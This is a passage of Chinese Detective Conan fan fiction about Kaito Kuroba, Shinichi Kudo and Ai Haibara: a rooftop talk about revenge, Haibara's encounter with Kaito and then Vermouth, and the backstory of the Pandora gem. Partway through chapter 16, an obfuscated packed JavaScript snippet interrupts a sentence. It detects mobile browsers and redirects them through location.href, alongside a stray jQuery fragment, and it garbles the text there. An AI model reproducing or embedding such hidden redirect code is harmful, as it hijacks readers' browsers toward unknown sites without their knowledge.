工藤新一是怎样的人,黑羽快斗早就知晓了。而且从初遇对方那刻起,他的内心就隐隐意识到一种感觉,他可能……比自己以为的要更喜欢工藤新一。 存在于对方身上的特质,令他头痛又欣赏,那种一意孤行又离经叛道,始终贯彻着自身的信念,从未熄灭的闪光之处,与黑羽快斗的意志产生了共鸣,成为让他越来越不可自拔的根源。 “被害者什么的,当着本人的面说也太过分了吧……” 停顿须臾,他用一种有些感慨的、无可奈何的眼神看向工藤新一。 “这个回答只能说不愧是你啊。” 急雨终于声势浩大地从天际奔流下来,泼洒在越来越模糊不清的窗户,他在喧嚣不已的雨声中露出一个带着遗憾的安静笑容。 这个时代的黑羽快斗到底有多幸运,能够与工藤新一在最好的岁月里相遇。他为此羡慕不已。 哪怕他们是同一个人,同一个灵魂,与侦探怀有同样的默契和相互认可。彼此相遇相识相知的记忆仍是黑羽快斗与工藤新一之间不可或缺的牵系,此后无数金风月夜,也再比不上最初的邂逅。 可是自认和过去那个怪盗不可相容的少年或许没有察觉,他此刻的神情,在工藤新一眼中,每一个瞬间都比上一刻更像是他所熟悉的黑羽快斗。 被这个人眼中流露出的失落和寂寞触动,工藤新一有个瞬间内心忽然被冲动驱使,开口说道:“你没必要那么排斥以前的自己。” 对方笑了笑:“别说不公平的话,工藤新一。” 虽然看见工藤新一拧起了眉头,他的双眸依旧坦然无畏地迎向侦探难掩复杂情绪的眼睛,薄唇微动:“你觉得……”他轻轻说,眼睛仔细地、像是不打算错漏任何细节一样专注地搜罗着工藤新一面上神情的变化,“如果当初出现在墓园的是19岁的那个黑羽快斗,而不是一无所知的我,会不会更好?” 没意思,我突然跟一个死人较什么劲啊。 但黑羽快斗来不及为自己的口不择言感到后悔,工藤新一定定地凝视着他的眼睛,已经率先告诉他对方的选择。 好吧,简直是……一败涂地。 黑羽快斗对此简直早有觉悟,甚至已经到了心甘情愿认栽的程度,不是愿赌服输,只是因为他抵抗不了自己对工藤新一的心意。 他正如此无奈地心想的时候,听见工藤新一又低低地念了一次他的名字,黑羽快斗不得不按捺住内心的悸动向他看去,眼见名侦探单手搭在栏杆上,沉沉的目光落在无名指上的银戒。 “第一次在月亮下看见你的时候,我已经不得已变成了幼童的模样。那是我对前路最为一筹莫展的时期,我无时无刻不渴望着变回原来的样子,然后回归工藤新一原有的人生。” 这应该是工藤新一第一次主动说起他们经历的故事,可能因为有太多的感情被他寄托在这番话语中,让名侦探的声音中掺上了一丝微不可察的情动痕迹。 “可是与你在月光下的相遇,却让那个时候的我也无比开心。要是说江户川柯南是一个不得不被我所取代的期间限定,那我最不希望被逝去的时光所埋葬的,是与你交手的那些故事。” 但是很遗憾,你们那些故事中的怪盗Kid和Kid Killer,已经像是一对殉情的恋人,双双从世间消失了。 黑羽快斗不由自主地这样想。 怀抱着注定无解的谜题,被黑暗埋没的那个自己,在临死前一定也会遗憾地叹息,背离了宿敌的自己实在太过寂寞。 “当初无论是工藤新一还是江户川柯南,在你的眼里,都是作为相同的个体存在的。”工藤新一仿佛忍无可忍般地闭了下眼睛,“你何必唯独对自己那么决绝……” “或许你是对的。”黑羽快斗说着笑了一下,“但是新一,无数条与你陌不相识的时空线上所存在的千万个如假包换的黑羽快斗,和奇迹般与你度过那些少年岁月的黑羽快斗,还是不一样的吧。” 无论是哪一个他,都必然会对工藤新一动心,然而残酷的是,只有一个他能占据名侦探心中最重要的位置。 “对吗?”他轻轻地问。 工藤新一抿了下唇,没有回答他的话语。 年轻人为他的沉默叹了口气,心说你这么温柔未免也太考验我的自制力和道德了,直接说出肯定的话语也没关系啊。反正黑羽快斗是不会死心的,无论如何都会喜欢上同一个人,而且也无论如何,都必须完成自己的使命。 “没关系,新一只要继续作为光明磊落的侦探前进下去就好。”黑羽快斗说着,声音忽地停了停。 在一片沉重的空气中,他仿佛下定了决心一般,坚决地抬起眼睫,瞳孔深处闪烁着决意的光辉。 黑羽快斗断然道:“但我是永远不会放弃复仇的。” 就在这一瞬间,仿佛时光骤然倒流,他眉宇间展现的神采与十年前的模样完全重合,从那以后,怪盗便执拗地背过身去与他分道扬镳,从此坠入万劫不复的黑暗,再无回头之日。 工藤新一垂在身侧的手指顿时无法自抑地蜷缩了一下。 “你又想去送死吗——” 黑羽快斗笑了笑:“那么,难道新一宁愿让我连死都不得安宁么?” 在工藤新一因他的话语而浮现出怔然的神色时,黑羽快斗的目光蓦然变得温柔万分。 “名侦探,请你千万,别阻止我。” 16.File 16 灰原哀接了一个来自大洋另一端劝她不要回日本发展的电话,挂断电话后,熄灭的屏幕映出她的面容——年轻的脸庞,眼睑下方却浮着浅色的阴影,完全是一副无精打采的神情。 蒙蒙亮的晨光从身侧的窗户照进屋内,夏天的东京在凌晨五六点就已经苏醒。 太恐怖了,日子就这么一天接一天地往前冲,而我的研究是一点也没跟上时间的脚步啊。 女科学家有点崩溃地揉乱前额的刘海,盯着电脑里密密麻麻的数据重重地叹了口气,起身去给自己泡一杯咖啡转换心情。 她正机械地嚼着美味棒补充能量,听见书房传来传真机启动的声响,突然想起,应该是上次给工藤新一抽血的检验结果出来了,内心顿时又为自己逐渐丧失的时间感感到沮丧。 这样下去不行,已经是事倍功半了……她试图振作,掐指盘算如何在挤得满满当当的时间表里塞进一段补充精力的睡眠。首先今日要去医院探望博士的日程是绝对不可变更的,那就还有去大学跟教授见面的安排,但她下周打算借用实验室的设备做分析,这也是不能取消的。 然后就是晚上跟吉田步美的晚餐会……也是不能推的吧。想到许久未见的挚友露出一副期望落空的失望表情,她揉了揉鼻梁,心里一横,告诉自己少睡点就少睡点,反正死不了人。 那现在就先把手头的分析报告收个尾吧。劳碌人愁云惨淡地端着一杯冒热气的速溶咖啡飘回书房,准备继续昨夜未完成的工作,刚走到门口,她忽然心生异样。 前几分钟还空无一人的书房,此刻悄无声息地出现了一名不速之客,手上正拿着刚从传真机里吐出的检验报告单。 在看清对方鸭舌帽下精致眉眼的第一时间,灰原哀的手指狠狠一抖,杯子碎在地上。 然而她显然无心顾及自己被弄脏的白大褂和流淌一地的咖啡,面露惊诧地脱口而出:“江户川……工藤君?” “嗯——?很有趣的口误嘛。” 来人勾起唇笑了笑,他开口的一瞬间灰原哀就心知不好,理由无他,这种装腔作势的语气和无比肖似工藤新一的脸孔实在太让人熟悉……脑海中浮现出最近舆论热议的怪盗话题,她的困意瞬间烟消云散,下意识后退一步,面上浮现出警戒的表情。 “啊,不用紧张,我没有恶意。”看起来和她同龄的少年用非常无害的语气说道,过分从容的架势颇有几分反客为主的味道。 他看起来只是十分潦草地翻了一下手中薄薄两页纸,就放在一旁的桌面上,不过灰原哀很清楚,仅这几秒就足够这个人把上面内容速读完毕,全都铭记于心了。如果对方确实是她所猜测的那个人的话。 但他不是早就已经……?而且这副十七八岁的样貌又是怎么回事? 该不会当年还存在流落出去的ATPX-4869,被用在了对方的身上…… 灰原哀想到这个可能性,又回想起工藤新一前两天刚向她索要了解药,顿时觉得抓住了真相,却又不解为何他时隔十年才重新出现。 “你……” 她刚开口就开始迟疑。自己该怎么称呼对方? 黑羽快斗笑吟吟地注视着灰原哀的脸色几经变化才勉强维持住镇定,将手放在心口,彬彬有礼地略一欠身。 “对了,我还没有跟你打招呼呢。我是黑羽快斗,请多指教啊,东大医学系的天才博士灰原哀小姐。” “请多指教的态度可不是在凌晨非法闯入啊……”灰原哀忍不住吐槽,没有被他若无其事的态度糊弄过去。不过她说完也心知自己没有抵抗手段,只能不情不愿地叹了口气。 “总之身份我就不追究了。你来这里想做什么?” “只是想满足一下好奇心而已。”黑羽快斗口吻客气,目光却极其迫人地直视而来,“我有些在意名侦探的伤势为何恢复起来异常缓慢。” 仅这一句话,灰原哀就明白此人偷听了先前她和工藤新一的对话,所幸经她当场急速回忆,二人并未说过什么特别的话题,内心为此稍感庆幸。 由于黑羽快斗的问题事关工藤新一的秘密,她心里实在不愿意回答。 “没什么特别的理由……” 虽想这么应付过去,但与那人唇边无比柔和的笑意截然相反,怪盗一双冷静凌厉的眼睛告诉灰原哀,对方绝非好相与的对象。 灰原哀只能尽量扼要地坦诚说:“就是服下APTX-4869解药的副作用。” 如果对方也是自己研发的那个药物的受害者,灰原哀心想,借机断绝他想要变回原样的心思也不错,反正这个年纪的身体已经比小学生要便利得多。 她看向静静倾听的黑羽快斗,简略介绍道:“APTX-4869,我不确定你此前对此知晓多少,它是一种致死率高达99%的毒药,但有极少数人却能够从中死里逃生,代价是返老还童,变回自己过去的样子,具体回退的程度取决于用药者自身原本的年纪。为了抵消药物对身体的改变,我研发了APTX-4869的解药,但因为药物存在一些目前无法克服的缺陷,工藤君恢复原状的身体相较常人会脆弱很多……” 其实实际的问题并非灰原哀所说的那么简单,否则她也不至于多年投身于研究,还在日美两国的顶尖实验室之间来回辗转,不过她自认为向非专业人士解说到这种程度应该足够。 前提是……此人对工藤新一只是出于对手层面的关心和担忧而已。灰原哀看了一眼闻言面露思索的黑羽快斗,蓦地记起来工藤新一还在无名指戴了他的戒指。 搞什么弯弯绕绕的啊他俩? 女科学家睡眠不足的大脑有点抽痛,好像有什么念头快要破茧而出,然后她选择放弃思考,悻悻地想只要这二人别在最近结婚,搞乱她的日程表,她就谢天谢地了。 灰原哀未曾察觉,黑羽快斗离开时顺走了插在她电脑上的U盘——那枚自带入侵程序的小装置。她的电脑里设置过启动防护程序,而且物理断网状态下本应无法被窃取数据。但她此时数据分析做到一半,电脑已经是开启的模式,黑羽快斗又利用交谈拖延了少许时间,临走前不动声色地经过桌前,晨间的清风从打开的窗户吹进室内,他勾起一个带有怪盗气息的笑容。 “灰原小姐,我想你将自身与名侦探视为一组相互对照的研究样本,应该不仅是解药的后遗症让你为难吧?” 黑羽快斗没有漏看工藤新一的检验报告单中存在两组相互对比的数据,并非在寻常检验中出现的参考区间,而是另一人的检查结果,侧面说明他们二人可能都存在异于常人之处,而且双方能够成为相互比对的参考。 一人服下了APTX-4869后使用解药变回原本的身体,另一人同样服下过APTX-4869却没有使用解药,这就是黑羽快斗得出的结论。 灰原哀闻言暗自惊诧于怪盗的洞察力居然厉害到这种地步,打定主意不再贸然开口,这番神情变化被黑羽快斗尽收眼底,他知晓自己应该问不出什么新的情报,于是面上洒然一笑,随着一阵将窗帘吹拂起来的清风,干脆利落地消失于灰原哀眼前。 果然是除了工藤谁都搞不定的危险分子。 灰原哀无奈叹息。这番打岔让她彻底没了继续工作的心思,给电脑关了机,随后将自己收拾一番,眼看预定出门的时间将近,就脱下白大褂换了身外出的衣服,准备先去学校完成申请使用实验室的一干事宜。 要论实验设备的先进程度,日本远不及美国。但东京大学与拥有日本最顶尖实验室的理化学研究所长期合作,其中以生命科学为核心的筑波研究中心更是在校内设立了专门面向师生服务的分支机构,能为灰原哀的研究提供很大的帮助,因此她一回国就向其提出了加入申请。 得益于灰原哀手握多项顶刊论文的辉煌科研履历,以及过去作为宫野志保时也曾在此机构研学过的经验,她轻易地通过了考核,这次只需要完成使用实验室的审批手续,下周就能继续推进她在美国未完成的研究。 意料之外的是,灰原哀来到学校时见到的不是原先约好的教授,而是一名染了金色长发的女学生。她看起来也是实验室的研究员,在优雅的西装裙外面罩着一件白大褂。 对方面上露出一个略显歉意的笑容,向灰原哀说明了情况:“我是岩田教授的学生东条,平时也兼任他的行政助理。教授因为身体不适,今天没有来校,灰原学妹你将申请表格交给我就可以了。” 灰原哀把准备好的材料交到她手中。东条研究员道了一声失礼,低下头检查其中的内容。 “很齐全,没什么问题。”过了一会儿,她说。 灰原哀见状就准备告辞离开,东条研究员这时忽然抬起头对灰原哀笑了笑:“灰原学妹研究的项目很少见,是针对基因突变的靶向治疗药物研发……对吧?我觉得这个方向很有前景,祝你早日出成果哦。” “哈……多谢。” 东条相对于灰原哀平时打交道的那些研究员们,性格上要热络得多,让她感到意外。好在对方似乎没有多余的谈兴,仅此一句就中止了话题,笑眯眯地摆了摆手,让灰原哀心下略感轻松。 不太擅长应付这种类型的人啊…… 当她如此心想的瞬间,一阵寒意陡然窜过她的思维和神经。 等回过神时,她的手包已经落到地上。 “灰原学妹,你怎么了?” 办公室里的东条立即跑了出来,帮她拾起包,有些担忧地凝视着她。 “是昨夜睡得不好吗?”她问,“赶快回去休息吧,需要我帮你打车吗?” 这是太累了吗?灰原哀下意识地回了句“不用”,接过手包的那一刻才发现自己的双手好像被某种力量强硬操控,不可抑制地微微颤抖,她感到一阵毫无理由的心慌意乱,一种诸事不顺的不妙预感浮现于心头。 糟糕心情延续到她抵达医院都未曾消失。 灰原哀刚回国时就来探望过阿笠博士,她原打算接下来每隔一两天都抽空过来陪伴对方,却被上周一场意料之外的台风阻隔了脚步。这一拖延就快到了院方安排的手术时间,老年人进行手术的风险比较大,她近来总感到放心不下。 进入住院大楼后,灰原哀走到阿笠博士的病房门外,还隔着仅差几步路的距离,她就听见房间里传来老人颇为爽朗的笑声。 “别那么紧张啊,我感觉自己还挺好的。” “博士你真是的,对自己总是这么马虎大意……” 回应他的是少女稍显无奈的抱怨话语。 看来有人比她先到一步。 “博士这是积习难改。”灰原哀接过话头,冷冽的声音从楼道飘进屋内,阿笠博士顿时面色一紧,跟着坐在他旁边的吉田步美一同转过视线,只见灰原哀双手抱臂,下颌微抬,一米七的身高硬是在二人眼中呈现出两米的气场。 尤其是她不带笑意的脸孔,能让直面其打量眼神的人感受到寒霜般的严厉。 不同于对此心虚地抬手挠了挠后脑的阿笠博士,吉田步美立即起身,双眼放光地扑到灰原哀怀里。 “小哀——” 少女就跟小时候一样亲密地呼唤她的名字,依赖的表情仿佛找到了共同战线的队友,面上浮现出喜悦的笑容,当即让灰原哀故作严肃的神情也如冰雪融化,笑着喊了一声步美的名字。 “小哀你快来看。”吉田步美提起打小报告一样的语气,举起手中厚厚一沓的检查单,气愤地说,“我刚刚拜托消化内科的护士姐姐帮忙找来博士入院后前的检查记录。结果你猜我发现了什么?博士去年压根没有做体检,说是什么忙着研究都忘记了!真讨厌,博士你这么大岁数的人了,都不知道忽视检查的危害吗?很多疾病都能在潜伏期就检查出来的……” 似乎是成为见习护士之后养成了叮嘱病患的习惯,吉田步美过分详细的科普听得在场的二人都不禁汗颜。不仅如此,她一边说还一边翻看着手上的检查报告,振振有词地抱怨:“还有住院部这边的档案最近是哪个新人管理的啊?简直乱七八糟,好多报告的检查时间与录入时间都对不上,看得我好生气……” 听来确实有些离谱。灰原哀头疼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15614669|171799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地揉了揉太阳穴,在一连串的絮叨声中走到阿笠博士的病床前。 “近况如何?” “我觉得挺好的。”阿笠博士说完,露出有点烦恼的表情,“但是医生说必须要开始准备手术了,病号餐一天比一天寡淡。” “博士要听医嘱啊,以后也不许再忽视健康检查了。”吉田步美不容置疑地说。 “我真的不是故意的。”阿笠博士小声解释,“这不是往年都有哀君提醒嘛……” “去年和今年我都有发邮件吧。”灰原哀走到步美扯来的椅子旁坐下,摇着头叹了口气,“早就料到了,你们一个个忙过头就会忽视健康管理,博士是这样,工藤君也是,真是麻烦的家伙们,要我说下次就应该让步美也盯着你们。” “对啊!”步美也深有同感地重重点头,“博士应该早跟我说的,门诊跟住院楼隔得比较远,要不是我前阵子偶然在院里遇见新一哥,都不知道你生病了呢!” “没有关系,从检查到入院都有新一在陪我,他一个人已经很足够了。”阿笠博士乐呵呵道,“步美在急诊很忙吧?我检查出来也不是很严重的毛病,不用时刻陪同。你们就是过分紧张了,我前几天还打电话跟新一说既然哀君回国就不用他过来了呢。” 从检查到入院? 灰原哀原本只是作壁上观阿笠博士和吉田步美一来一回的对话,此刻忽然听出了几分不对劲:“等下,博士你说工藤君?” “对啊,怎么了?” 在场的另外二人都不明所以。 工藤新一上月不是被牵制在京都的案件中了么?若非如此,灰原哀也不会在听闻消息后匆匆忙忙地赶回国内,为此还放弃了尚未做出成果的科研项目。 “你确定是工藤君?”她用古怪的语气反问。 阿笠博士点了点头。 “步美呢?”灰原哀转头问友人,“你也是上个月看见他的?” “不是哦,是半个月前。我路过住院部的时候看见新一哥在一楼看楼内地图。”步美歪了歪头,“我原本以为他又受伤了呢,去找他打招呼的时候才听他说起博士的病情。” 这不合常理吧?灰原哀神色奇怪。 如果阿笠博士上月入院是由工藤新一全程陪同,他应该知晓住院病房的具体位置。 为什么吉田步美会看到他在看地图? ——除非这样猜想,工藤新一被人冒充了。 一瞬间从脑海中闪过的念头让灰原哀的心跳顿时加快几分。 陪同阿笠博士看病的工藤新一和被京都案件绊住脚步的工藤新一,二者不是同一个人,同时前者与吉田步美在住院部相遇的工藤新一也不是同一个人。 这样对比的话,从京都回来的工藤新一才更可能是本尊,另一个是冒牌货。 但对方是为了达成什么目的? 如果不是这件事,她应该依旧身在美国…… 灰原哀思及此处,垂在身侧的手指抽动了一下。 此人运用调虎离山的计谋用案件先把工藤新一牵制于京都,然后趁此时机假冒成对方。吉田步美发现阿笠博士的检查单记录有异,很可能就意味着他人的检查记录被嫁接到了阿笠博士的头上。那人通过伪造病历的手段诱骗阿笠博士住院,然后巧妙地向两头传达博士入院的信息,工藤新一案件缠身无法及时赶回,只有灰原哀为此动身,这就是对方需要达成的目的了。 阿笠博士听见步美的话后略感意外:“什么?但我没见过你们一同来过啊?” 吉田步美说:“因为新一哥哥接到了警局的电话,有个很有名的大企业家被杀了,那几天我看电视上都播出那件事了呢。” 灰原哀闻言陷入回忆。 要说近期因社会影响较大而被媒体热议、又有工藤新一亲自参与调查的凶杀事件,就只有青山狙杀案。正是这个案子导致工藤新一受伤,后来他又由于伤口恢复的情况异于常人,有意无意地回避了返院复查,加上有灰原哀代替他前行,对方探望阿笠博士的打算就一直被耽搁了下来。 这一系列瞒天过海的计谋能够利用时间差完成得如此精妙,不得不归功于她和阿笠博士自始至终都未曾怀疑过工藤新一的信誉。但还有一点同样令人不寒而栗,这世上竟然有人能够层出不穷地策划出事件绊住那位天下闻名的侦探,让工藤新一屡次错失揭露真相的机会,无暇探究阿笠博士住院一事背后的端倪。 就好像存在一双眼睛,自始至终密切地关注着那位名侦探。 灰原哀越是细想越是冷汗直冒,猛地从座位上站起,眼前顿时涌出大片晕黑,通宵工作的积劳姗姗来迟地袭向她,令她的身体不稳地晃了一下才堪堪站定。 这番动静把阿笠博士和吉田步美二人都吓了一跳,一齐疑惑不解地望了过来。 灰原哀担心此处被布置了窃听,不敢说出自己的顾虑,坐立难安地犹豫了片刻,仓促道:“我……我有急事,今天先回去了。” “小哀?” “哀君?” 身后呼唤的声音被她不断加快的步伐甩在身后。 必须尽快把这件事告诉工藤君。灰原哀一边走一边拿出手机,点开通讯录划动到工藤新一的名字按下,下一秒拨号失败的巨大图标就占据了视野,她微微一怔,才注意到屏幕右上角的信号区不知从何时开始已经变为圈外。 好可怕的圈套,以有心算无心,然后料敌于先。 随后从走廊尽头缓缓走来的金发女子让她终于维持不住冷静神情,对方穿着她眼熟的西装裙和白大褂,和早晨的不同之处在于对方那张夺人眼目的白皙脸孔,年轻美艳,水绿色的眼眸中心倒映出灰原哀的身影,如盯上青蛙的蛇一般戏谑地眯起。 “嗨~又见面了啊,灰原学妹……还是说这样打招呼更合适呢?许久不见了,雪莉。” “你是……贝尔摩得。”灰原哀瞳孔颤抖,倒退了一步。 “No no no……”对方持枪的手指轻轻摇晃,愉悦地说,“那个名字,已经过时失效了。现在,你可以称我为蝴蝶。” 17.File 17 ——今夜7点,新宿Blue Bottle。 黑羽快斗回到工藤家时发现自己房间的桌面上静静躺着一张黑色的卡片,他不会错认上面华丽流畅的字迹,这是来自黑羽千影的联络信息。 少年将其收起之后侧过脸看了眼窗外淅淅沥沥的细雨,四处飞溅的透明水珠在庭院里油绿的枝叶间跃动起舞,留下一连串细小不绝的轻响。 天气预报说下周开始东京将迎来连续的晴天,不过他倒觉得真正的风雨反而在后头,平静的日子即将结束。 证据就是黑羽千影见到他之后的第一句话并非母子间久别重逢的寒暄,而是语气无比微妙的质问:“快斗,你把钥匙的秘密告诉了工藤新一?” 黑羽快斗啜饮了一口不合他口味的黑咖啡,弥散开来的热雾模糊了平静的眉目。他一时没有回答,只是移过视线,远处高楼上的霓虹灯在湿漉漉的街区反射出五彩斑斓的光,照得他眼底也游动着属于不夜城的斑驳华彩,神秘而绚丽,又好像在诉说着格格不入的孤寂。 片刻的沉默后,他轻轻问:“不行吗?” “我没有责怪你的意思……”黑羽千影定定地注视着他,眸中蓦地闪过一丝无可奈何的痛楚,语气软了一些,接着她压低了声音道,“工藤新一把情报透露给了香港的当地商会,导致‘五号金库’的拍卖会变更了规则,不允许外国资本委托代理人参与竞拍。现在‘五号金库’落到了他们本土的□□手中,他们打算跟日本政府做交易,用除了钥匙以外,从沉船里斯本丸号中打捞出的所有文物,交换他们手中的保险箱。” 这要求其实没什么不合常理的地方。本来里斯本丸号上的财宝都来自香港,那边一直呼吁应该物归原主,只是政府始终厚着脸皮不予理睬,因此国际上也存在许多批评的声音。现下对方打算通过其他方式索还当地流落出去的文物也不奇怪。 但可能就因为一切发展得太顺理成章,反而让黑羽快斗有些困惑地皱起了眉头。 “政府怎么说?” “答应了。”黑羽千影眼睛微眯,轻笑了一声,“本来负责管理那些打捞品的部门就受与组织亲近那一派的要员控制,他们最上层的大人物在众议院有不小的势力,要答应这要求还不容易?不过,为了减少牵扯,最大限度地避免两边在官方层面的交集,他们会委托当地的商会出面,而这边则是委派铃木财阀负责交易,另外,地点也被定在公海。” 公海啊,虽然逃跑起来不算方便,但也存在不少能够扰乱场面的可乘之机……黑羽快斗下意识将手指搭在下颌,根据怪盗的思考模式盘算起来。 过了一会儿他觉察出黑羽千影过于长久的安静,黑羽快斗抬起眼,看见母亲逐渐变得冷漠讽刺的神情。 “快斗,你觉得地下世界数十年来所寻求的、隐藏着长生不老秘密的传说魔石……”她说,“潘多拉,究竟是什么?” 既然组织和黑羽千影对此次的目标表现出了远胜过去的关注和势在必得,背后自然存在一个原因,让他们有极大程度的把握去确信,“五号金库”中收藏的宝石就是潘多拉。 说起来,多方势力历经多年去寻觅这样一颗下落不明的宝石,难道没有人去深究过它的秘密么?潘多拉究竟是什么,为什么拥有让人长生不老的魔力? 在无数暗中流传的秘辛中,潘多拉被描绘成一颗镶嵌在某颗大宝石中的石中石。 当万年接近地球一次的宝雷彗星接近地球之时,将潘多拉之石对准满月,宝石就会流出能使人长生不老的眼泪。 但是在最开始,谁也不知道潘多拉到底指的是什么东西。 那更像是一个代表了灾祸与希望的象征,某种曾经被人所目睹过并妄图再现的神话,被地下世界里历史悠久的众多组织不约而同地寻觅着。 “盗一会成为怪盗Kid,最初是为了帮我摆脱仇敌的追杀,但他后来十年借助世界巡演的障眼法盗取各地的珍奇财宝,却是为了抢在所有人前面毁掉潘多拉。”黑羽千影说,“你可能没留意过那些东西的共通点,它们全是某段时期内曾在香港出现过的宝物。” 或是被放在纸醉金迷的名人家中展览,或是出现在一席千金的拍卖会上,或是由远渡重洋而来的富商带到香港。 黑羽快斗面露诧异。 长生不老的传言乍一听十分不切实际,黑羽盗一之所以对其深信不疑,是因为在多方势力锲而不舍的搜寻中,潘多拉诞生的真相逐渐浮出水面—— 它并非一个魔法色彩浓厚的梦幻物质,而是浓缩了无数血腥实验的科学产物。 在过去一场席卷世界的近代战争中,某位随军的贵族在战败国的文化历史中查阅到大量古人长生不老的传说。 这位贵族不仅是军派的实权者,疯狂的科学家,还是个宗教的极端主义者。他为古人类成仙入圣的传说着迷,坚信这个国度的国民基因中藏匿着永生的密码,于是通过军方的渠道将大量俘虏作为研究材料,耗用了数不胜数的人命,付出尸山血海的罪恶代价,居然当真完成了一种不可思议的药物。 它能够使人永葆青春。 当新生的细胞足够全面替换衰老损伤的部分,人体的生理机能就可以一直维持在最佳时期。只要能够避免外部的侵害,理论上一个人就能够永远维持在身体的巅峰状态,实现永生。 但是诞生于人间地狱的永生之果能否为人类带来幸福的未来? 在这充斥着不公与信息差的世界里,寿命的差距必然带来当权者更为残酷的剥削。 可以预见这个药物一旦流落到外界必然掀起腥风血雨,催生出无数阴谋和滔天罪恶。后来之所以成为迷雾重重的传说,是因为制作者很快就被本土势力暗杀,实验室毁于烈火,参与的研究人员更是被怒火冲天的当地居民彻底撕碎。 然而一切并未在此终结。 那位疯狂且狡猾的贵族丧命以前,不仅曾向家中寄去记载了药物部分结构的手稿,更是在药物完成之日,将完整的结构式藏匿在他家的宝物之中。后来宝物因战乱不知流传到了何处,也就是黑羽盗一长期寻觅的目标。 接下来则是黑羽千影所知的秘辛。 黑羽盗一在年轻时曾偶然与某位女性打过照面,后来机缘巧合之下又与她数度相遇,他敏锐觉察出对方容颜不老的异状,作为教给她易容技艺用于自保的代价,黑羽盗一获知了APTX-4869的情报,并意识到这种药物的效用与潘多拉的传闻非常相似。 后来他调查下去,知晓ATPX-4869的开发者是一位名为艾莲娜的女科学家,对方在为一家名为白鸠制药的企业研制新药时,机缘巧合下从一名家道中落的旧贵族手中收得一本研究手稿。 那名旧贵族的祖上在维多利亚时期曾迁居香港,后来当地政权更迭,手稿是父母随军撤回故国后携带的家私,来源于家族中某位被特工暗杀的叔父。 他看不懂手稿里记载的内容,只大概了解对方是为军方服务的科学家,内容是他的研究成果。 那位旧贵族为了补贴家用,便在变卖家产的时候将其一同售卖了出去。 不明内情的艾莲娜从手稿中发现了一种极为奇妙的药物结构,并将手稿中所描述的具有梦幻般作用的药物称作银色子弹Silver Bullet,致力于将其补全再现。后来她与丈夫宫野厚司一同加入了隶属于某个组织的秘密实验室,凭此手稿为基础研发出了第一代APTX-4869。 但令艾莲娜失望的是,临床实验的小鼠全部死亡,药物是夺人性命的失败品。 对死亡小鼠进行多次解剖,调查得出的结论是这种药物的毒性成分能够造成生物全身细胞的衰竭,从而导致猝死。 这种药物后来被视作新型毒药夺走了许多人的性命,但有一人成为死里逃生的例外,并因此获得岁月不败的容貌。随后黑羽盗一与其相遇,顺藤摸瓜地根据线索追寻下去,得知潘多拉源于二战时期的香港,创造者是与英军合作的疯狂科学家。 长生不老之药的构成式被那位疯狂科学家刻录在一颗宝石之上,然后天然宝石又被裹上一层人工合成的宝石,使其融为一体,无法被拆分和解读,唯有经过特定波长的光线照射,才能还原出正确的内容——在自然环境中,就是宝雷彗星所放射出的亮光。 当年寻找潘多拉的组织成员毒蛇屡次被以怪盗Kid身份活动的黑羽盗一干扰行动。因此组织在黑羽盗一的逃生魔术演出中埋伏了炸弹,抹杀了初代怪盗,并将现场伪装成魔术失误引发的火灾事故。 然而Kid销声匿迹八年后,黑羽快斗作为怪盗的继任者卷土重来,这一次更是被他发现一个惊天秘密—— 在宫野夫妇持有的研究资料都毁于大火的当代,他们的女儿宫野志保作为第二代APTX-4869的开发者,俨然成为当世最有可能再现出梦幻药物银色子弹Silver Bullet,也就是潘多拉的长生不老之药的唯一人选。 另外十分戏剧化的是,那位继承了父母研究的宫野志保,因十二年前姐姐遇害,绝望之中吞下她自己所研发的第二代APTX-4869,却大难不死,而且身体还返老还童,变成过去幼童时期的模样,自此摆脱过去的身份,踏上了全新的人生之路。 黑羽千影说:“据我所知,那位宫野志保现在的名字是——” “灰原哀。” 黑羽快斗看着眼前的照片,毫不犹豫地吐出工藤家那位女邻居的名字。这下事情可棘手起来了,他想起自己从对方电脑中窃取的资料,以及工藤新一同样吃下过APTX-4869的事实,眼底骤然掠过一丝复杂的思绪。 然而不论灰原哀未来能否再现出银色子弹,眼下“五号金库”那颗极有可能是潘多拉的宝石才是黑羽快斗必须拿到手的目标。 当然对于他来说,要取得宝石,最为直截了当的手段自然是—— “什么?!怪盗Kid又发出了预告函?” 中森银三的怒吼如一石激起千层浪,转瞬便吸引了搜查二课中所有警员的视线。 这光景好像时光倒退回了光怪陆离的过去,课室里资深一些的警察交换着感慨万千的眼神,目光投向头发黑白交杂的老警官,却发现对方的脸色似乎有些让人说不清的古怪。 今时不同往日。 很快整个课室上上下下都意识到了这点,谁也没想到这桩事件居然还惊动了上面的国务大臣,自警察厅往下的多名长官们都亲自致电过问情况。上面声称,虽然此次与香港□□的交易被定性成民间行为,但这件事背后却牵扯了许多历史遗留问题,绝对不能出现意外,要求他们务必确保宝石不能有失。为此不仅是他们二课,连隔壁一课的负责人都烦恼得一夜没睡好觉。 一贯排斥侦探插手的中森警官破天荒地询问部下,是否听说Kid的宿敌工藤新一这次有何打算。 会这样问也是因为中森警官知道工藤新一不需要他们这边特意通知,外面的舆论早已被怪盗再次出手的话题彻底引爆。因为Kid将他的最新预告投放于东京的地标性建筑之一——铃木财阀引以为傲的铃木塔上,吸引来无数媒体和粉丝群众去现场聚集狂欢。现在所有的电视节目都在播报这一热点新闻,网络上关于此事的讨论更是早已沸反盈天,一传十十传百的热度俨然是要让全世界都知晓,复出的怪盗Kid盯上了一颗尘封百年的神秘宝石。 铃木财阀为此特地在内部郑重其事地召开了作战会议,并邀请警方一同参与。 因为来时被大量粉丝群众拥堵了道路,高木警官迟到了半个小时才赶到铃木塔下。他匆匆找到位置停靠车子,临进门前先与警戒线附近调度指挥的佐藤警官颔首示意,然后急忙奔往会议室。 “……我们必须重视此次事件。” 在高木警官悄悄从后门进入时,铃木园子的特助已经代她站在台前进行说明。 